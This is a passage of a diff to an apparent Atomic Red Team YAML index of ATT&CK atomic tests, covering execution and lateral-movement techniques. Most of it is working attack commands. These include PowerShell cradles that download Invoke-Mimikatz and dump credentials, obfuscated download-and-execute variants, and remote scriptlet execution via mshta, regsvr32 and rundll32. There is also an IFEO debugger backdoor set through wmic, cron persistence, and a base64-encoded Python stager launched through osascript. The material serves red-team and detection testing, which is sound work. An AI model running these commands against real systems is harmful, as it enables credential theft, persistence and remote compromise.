LDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSkK''));\"
| python &""
'
T1191:
technique:
name: CMSTP
@@ -12321,8 +12793,10 @@ execution:
identifier: T1191
atomic_tests:
- name: CMSTP Executing Remote Scriptlet
description: |
Adversaries may supply CMSTP.exe with INF files infected with malicious commands
description: 'Adversaries may supply CMSTP.exe with INF files infected with
malicious commands
'
supported_platforms:
- windows
input_arguments:
@@ -12332,11 +12806,14 @@ execution:
default: T1191.inf
executor:
name: command_prompt
command: |
cmstp.exe /s #{inf_file_path}
command: 'cmstp.exe /s #{inf_file_path}
'
- name: CMSTP Executing UAC Bypass
description: |
Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file
description: 'Adversaries may invoke cmd.exe (or other malicious commands) by
embedding them in the RunPreSetupCommandsSection of an INF file
'
supported_platforms:
- windows
input_arguments:
@@ -12346,8 +12823,9 @@ execution:
default: T1191_uacbypass.inf
executor:
name: command_prompt
command: |
cmstp.exe /s #{inf_file_uac} /au
command: 'cmstp.exe /s #{inf_file_uac} /au
'
T1059:
technique:
name: Command-Line Interface
@@ -12536,8 +13014,9 @@ execution:
identifier: T1173
atomic_tests:
- name: Execute Commands
description: |
Executes commands via DDE using Microsfot Word
description: 'Executes commands via DDE using Microsfot Word
'
supported_platforms:
- windows
executor:
@@ -12615,8 +13094,9 @@ execution:
identifier: T1118
atomic_tests:
- name: InstallUtil uninstall method call
description: |
Executes the Uninstall Method
description: 'Executes the Uninstall Method
'
supported_platforms:
- windows
input_arguments:
@@ -12690,14 +13170,16 @@ execution:
identifier: T1152
atomic_tests:
- name: Launchctl
description: |
Utilize launchctl
description: 'Utilize launchctl
'
supported_platforms:
- macos
executor:
name: sh
command: |
launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator
command: 'launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator
'
T1168:
technique:
name: Local Job Scheduling
@@ -12785,8 +13267,9 @@ execution:
identifier: T1168
atomic_tests:
- name: Cron Job
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
- centos
@@ -12799,11 +13282,13 @@ execution:
default: "/tmp/evil.sh"
executor:
name: sh
command: |
echo "* * * * * #{script}" > /tmp/persistevil && crontab /tmp/persistevil
command: 'echo "* * * * * #{script}" > /tmp/persistevil && crontab /tmp/persistevil
'
- name: Cron Job
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
- centos
@@ -12942,8 +13427,9 @@ execution:
identifier: T1170
atomic_tests:
- name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject
description: |
Test execution of a remote script using mshta.exe
description: 'Test execution of a remote script using mshta.exe
'
supported_platforms:
- windows
input_arguments:
@@ -12953,8 +13439,9 @@ execution:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct
executor:
name: command_prompt
command: |
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
command: 'mshta.exe javascript:a=(GetObject(''script:#{file_url}'')).Exec();close();
'
T1086:
technique:
name: PowerShell
@@ -13035,8 +13522,9 @@ execution:
identifier: T1086
atomic_tests:
- name: Mimikatz
description: |
Download Mimikatz and dump credentials
description: 'Download Mimikatz and dump credentials
'
supported_platforms:
- windows
input_arguments:
@@ -13046,11 +13534,14 @@ execution:
default: https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
executor:
name: command_prompt
command: |
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{mimurl}'');
Invoke-Mimikatz -DumpCreds"
'
- name: BloodHound
description: |
Download Bloodhound and run it
description: 'Download Bloodhound and run it
'
supported_platforms:
- windows
input_arguments:
@@ -13060,8 +13551,10 @@ execution:
default: https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/BloodHound_Old.ps1
executor:
name: command_prompt
command: |
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{bloodurl}'); Get-BloodHoundData"
command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{bloodurl}'');
Get-BloodHoundData"
'
- name: Obfuscation Tests
description: |
Different obfuscated methods to test
@@ -13080,14 +13573,26 @@ execution:
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()
Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))
- name: Mimikatz - Cradlecraft PsSendKeys
description: |
Run mimikatz via PsSendKeys
description: 'Run mimikatz via PsSendKeys
'
supported_platforms:
- windows
executor:
name: powershell
command: |
$url='https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
command: "$url='https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object
-ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty
$reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP
$reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item
Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep
-Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds
500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable
_).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item
Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable
_).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item
Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP
$reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz
-dumpcr\n"
- name: Invoke-AppPathBypass
description: |
Note: Windows 10 only
@@ -13101,8 +13606,9 @@ execution:
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass"
C:\Windows\System32\cmd.exe
- name: PowerShell Add User
description: |
Using PS 5.1, add a user via CLI
description: 'Using PS 5.1, add a user via CLI
'
supported_platforms:
- windows
input_arguments:
@@ -13124,8 +13630,10 @@ execution:
default: Atomic Things
executor:
name: command_prompt
command: |
New-LocalUser -FullName '#{full_name}' -Name '#{user_name}' -Password #{password} -Description '#{description}'
command: 'New-LocalUser -FullName ''#{full_name}'' -Name ''#{user_name}''
-Password #{password} -Description ''#{description}''
'
- name: Powershell MsXml COM object
description: |
Provided by https://github.com/mgreen27/mgreen27.github.io
@@ -13140,8 +13648,11 @@ execution:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1
executor:
name: command_prompt
command: |
powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
command: 'powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object
-ComObject MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX
$comMsXml.ResponseText"
'
- name: Powershell XML requests
description: |
Provided by https://github.com/mgreen27/mgreen27.github.io
@@ -13155,8 +13666,11 @@ execution:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.xml
executor:
name: command_prompt
command: |
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
command: '"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec
bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load(''#{url}'');$Xml.command.a.execute
| IEX"
'
- name: Powershell invoke mshta.exe download
description: |
Provided by https://github.com/mgreen27/mgreen27.github.io
@@ -13170,8 +13684,9 @@ execution:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/mshta.sct
executor:
name: powershell
command: |
"C:\Windows\system32\cmd.exe" /c "mshta.exe javascript:a=GetObject("script:#{url}").Exec();close()"
command: '"C:\Windows\system32\cmd.exe" /c "mshta.exe javascript:a=GetObject("script:#{url}").Exec();close()"
'
- name: Powershell Invoke-DownloadCradle
description: |
Provided by https://github.com/mgreen27/mgreen27.github.io
@@ -13184,8 +13699,10 @@ execution:
1. Open Powershell_ise as a Privileged Account
2. Invoke-DownloadCradle.ps1
- name: PowerShell Fileless Script Execution
description: |
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections.
description: 'Execution of a PowerShell payload from the Windows Registry similar
to that seen in fileless malware infections.
'
supported_platforms:
- windows
executor:
@@ -13258,8 +13775,9 @@ execution:
identifier: T1121
atomic_tests:
- name: Regasm Uninstall Method Call Test
description: |
Executes the Uninstall Method, No Admin Rights Required
description: 'Executes the Uninstall Method, No Admin Rights Required
'
supported_platforms:
- windows
input_arguments:
@@ -13278,8 +13796,10 @@ execution:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name}
del #{file_name}
- name: Regsvs Uninstall Method Call Test
description: |
Executes the Uninstall Method, No Admin Rights Required, Requires SNK
description: 'Executes the Uninstall Method, No Admin Rights Required, Requires
SNK
'
supported_platforms:
- windows
input_arguments:
@@ -13379,8 +13899,10 @@ execution:
identifier: T1117
atomic_tests:
- name: Regsvr32 local COM scriptlet execution
description: |
Regsvr32.exe is a command-line program used to register and unregister OLE controls
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
@@ -13390,11 +13912,14 @@ execution:
default: C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct
executor:
name: command_prompt
command: |
regsvr32.exe /s /u /i:#{filename} scrobj.dll
command: 'regsvr32.exe /s /u /i:#{filename} scrobj.dll
'
- name: Regsvr32 remote COM scriptlet execution
description: |
Regsvr32.exe is a command-line program used to register and unregister OLE controls
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
@@ -13404,11 +13929,14 @@ execution:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct
executor:
name: command_prompt
command: |
regsvr32.exe /s /u /i:#{url} scrobj.dll
command: 'regsvr32.exe /s /u /i:#{url} scrobj.dll
'
- name: Regsvr32 local DLL execution
description: |
Regsvr32.exe is a command-line program used to register and unregister OLE controls
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
@@ -13418,8 +13946,10 @@ execution:
default: C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll
executor:
name: command_prompt
command: |
"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )"
command: '"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe
/s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )"
'
T1085:
technique:
name: Rundll32
@@ -13486,8 +14016,9 @@ execution:
identifier: T1085
atomic_tests:
- name: Rundll32 execute JavaScript Remote Payload With GetObject
description: |
Test execution of a remote script using rundll32.exe
description: 'Test execution of a remote script using rundll32.exe
'
supported_platforms:
- windows
input_arguments:
@@ -13497,8 +14028,9 @@ execution:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct
executor:
name: command_prompt
command: |
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();"
command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();"
'
T1053:
technique:
name: Scheduled Task
@@ -13598,8 +14130,9 @@ execution:
- windows
executor:
name: command_prompt
command: |
at 13:20 /interactive cmd
command: 'at 13:20 /interactive cmd
'
- name: Scheduled task Local
description: ''
supported_platforms:
@@ -13615,11 +14148,13 @@ execution:
default: 72600
executor:
name: command_prompt
command: |
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
'
- name: Scheduled task Remote
description: |
Create a task on a remote system
description: 'Create a task on a remote system
'
supported_platforms:
- windows
input_arguments:
@@ -13645,8 +14180,10 @@ execution:
default: At0micStrong
executor:
name: command_prompt
command: |
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
"Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
'
T1064:
technique:
name: Scripting
@@ -13720,8 +14257,9 @@ execution:
identifier: T1064
atomic_tests:
- name: Create and Execute Bash Shell Script
description: |
Creates and executes a simple bash script.
description: 'Creates and executes a simple bash script.
'
supported_platforms:
- macos
- linux
@@ -13858,8 +14396,10 @@ execution:
identifier: T1216
atomic_tests:
- name: PubPrn.vbs Signed Script Bypass
description: |
Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.
description: 'Executes the signed PubPrn.vbs script with options to download
and execute an arbitrary payload.
'
supported_platforms:
- windows
input_arguments:
@@ -13869,8 +14409,10 @@ execution:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct
executor:
name: command_prompt
command: |
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
command: 'cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
localhost "script:#{remote_payload}"
'
T1153:
technique:
name: Source
@@ -13916,8 +14458,9 @@ execution:
identifier: T1153
atomic_tests:
- name: Execute Script using Source
description: |
Creates a script and executes it using the source command
description: 'Creates a script and executes it using the source command
'
supported_platforms:
- macos
- linux
@@ -13928,8 +14471,10 @@ execution:
chmod +x /tmp/art.sh
source /tmp/art.sh
- name: Execute Script using Source Alias
description: |
Creates a script and executes it using the source command's dot alias
description: 'Creates a script and executes it using the source command''s dot
alias
'
supported_platforms:
- macos
- linux
@@ -13995,8 +14540,9 @@ execution:
identifier: T1151
atomic_tests:
- name: Space After Filename
description: |
Space After Filename
description: 'Space After Filename
'
supported_platforms:
- macos
executor:
@@ -14208,8 +14754,9 @@ execution:
identifier: T1127
atomic_tests:
- name: MSBuild Bypass Using Inline Tasks
description: |
Executes the code in a project file using. C# Example
description: 'Executes the code in a project file using. C# Example
'
supported_platforms:
- windows
input_arguments:
@@ -14219,11 +14766,15 @@ execution:
default: T1127.csproj
executor:
name: command_prompt
command: |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe #{filename}
command: 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe #{filename}
'
- name: MSXSL Bypass using local files
description: |
Executes the code specified within a XSL script tag during XSL transformation using a local payload. Requires download of MSXSL from Microsoft at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
description: 'Executes the code specified within a XSL script tag during XSL
transformation using a local payload. Requires download of MSXSL from Microsoft
at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
'
supported_platforms:
- windows
input_arguments:
@@ -14237,11 +14788,15 @@ execution:
default: C:\AtomicRedTeam\atomics\T1127\src\msxsl-script.xsl
executor:
name: command_prompt
command: |
C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
'
- name: MSXSL Bypass using remote files
description: |
Executes the code specified within a XSL script tag during XSL transformation using a remote payload. Requires download of MSXSL from Microsoft at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
description: 'Executes the code specified within a XSL script tag during XSL
transformation using a remote payload. Requires download of MSXSL from Microsoft
at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
'
supported_platforms:
- windows
input_arguments:
@@ -14255,8 +14810,9 @@ execution:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1127/src/msxsl-script.xsl
executor:
name: command_prompt
command: |
C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
'
T1047:
technique:
name: Windows Management Instrumentation
@@ -14327,35 +14883,42 @@ execution:
identifier: T1047
atomic_tests:
- name: WMI Reconnaissance Users
description: |
WMI List User Accounts
description: 'WMI List User Accounts
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
wmic useraccount get /ALL
command: 'wmic useraccount get /ALL
'
- name: WMI Reconnaissance Processes
description: |
WMI List Processes
description: 'WMI List Processes
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
wmic process get caption,executablepath,commandline
command: 'wmic process get caption,executablepath,commandline
'
- name: WMI Reconnaissance Software
description: |
WMI List Software
description: 'WMI List Software
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
wmic qfe get description,installedOn /format:csv
command: 'wmic qfe get description,installedOn /format:csv
'
- name: WMI Reconnaissance List Remote Services
description: |
WMI List Remote Services
description: 'WMI List Remote Services
'
supported_platforms:
- windows
input_arguments:
@@ -14369,8 +14932,10 @@ execution:
default: sql server
executor:
name: command_prompt
command: |
wmic /node:"#{node}" service where (caption like "%#{service_search_string} (%")
command: 'wmic /node:"#{node}" service where (caption like "%#{service_search_string}
(%")
'
T1028:
technique:
name: Windows Remote Management
@@ -14429,14 +14994,16 @@ execution:
identifier: T1028
atomic_tests:
- name: Enable Windows Remote Management
description: |
Powershell Enable WinRM
description: 'Powershell Enable WinRM
'
supported_platforms:
- windows
executor:
name: powershell
command: |
Enable-PSRemoting -Force
command: 'Enable-PSRemoting -Force
'
- name: PowerShell Lateral Movement
description: |
Powershell lateral movement using the mmc20 application com object
@@ -14453,11 +15020,14 @@ execution:
default: computer1
executor:
name: command_prompt
command: |
powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")
command: 'powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe",
$null, $null, "7")
'
- name: WMIC Process Call Create
description: |
Utilize WMIC to start remote process
description: 'Utilize WMIC to start remote process
'
supported_platforms:
- windows
input_arguments:
@@ -14475,11 +15045,16 @@ execution:
default: Target
executor:
name: command_prompt
command: |
wmic /user:#{user_name} /password:#{password} /node:#{computer_name} process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"
command: 'wmic /user:#{user_name} /password:#{password} /node:#{computer_name}
process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\"
/t REG_SZ /d \"cmd.exe\" /f"
'
- name: Psexec
description: |
Utilize psexec to start remote process
description: 'Utilize psexec to start remote process
'
supported_platforms:
- windows
input_arguments:
@@ -14497,11 +15072,13 @@ execution:
default: Target
executor:
name: command_prompt
command: |
psexec \\host -u domain\user -p password -s cmd.exe
command: 'psexec \\host -u domain\user -p password -s cmd.exe
'
- name: Invoke-Command
description: |
Execute Invoke-command on remote host
description: 'Execute Invoke-command on remote host
'
supported_platforms:
- windows
input_arguments:
@@ -14515,8 +15092,9 @@ execution:
default: ipconfig
executor:
name: powershell
command: |
invoke-command -computer_name #{host_name} -scriptblock {#{remote_command}}
command: 'invoke-command -computer_name #{host_name} -scriptblock {#{remote_command}}
'
lateral-movement:
T1155:
technique:
@@ -14584,8 +15162,10 @@ lateral-movement:
- macos
executor:
name: sh
command: |
osascript "do shell script "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyc4Yzk0OThmYjg1YmQ1MTE5ZGQ5ODQ4MTJlZTVlOTg5OSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSkK'));\" | python &""
command: 'osascript "do shell script "echo \"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyc4Yzk0OThmYjg1YmQ1MTE5ZGQ5ODQ4MTJlZTVlOTg5OSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSkK''));\"
| python &""
'
'':
technique:
name: Third-party Software
@@ -14710,8 +15290,9 @@ lateral-movement:
identifier: T1037
atomic_tests:
- name: Logon Scripts
description: |
Added Via Reg.exe
description: 'Added Via Reg.exe
'
supported_platforms:
- windows
input_arguments:
@@ -14721,11 +15302,14 @@ lateral-movement:
default: cmd.exe /c calc.exe
executor:
name: command_prompt
command: |
REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ /d "#{script_command}"
command: 'REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ
/d "#{script_command}"
'
- name: Logon Scripts - Mac
description: |
Mac logon script
description: 'Mac logon script
'
supported_platforms:
- macos
executor:
@@ -14806,11 +15390,13 @@ lateral-movement:
default: cc36cf7a8514893efccd3324464tkg1a
executor:
name: command_prompt
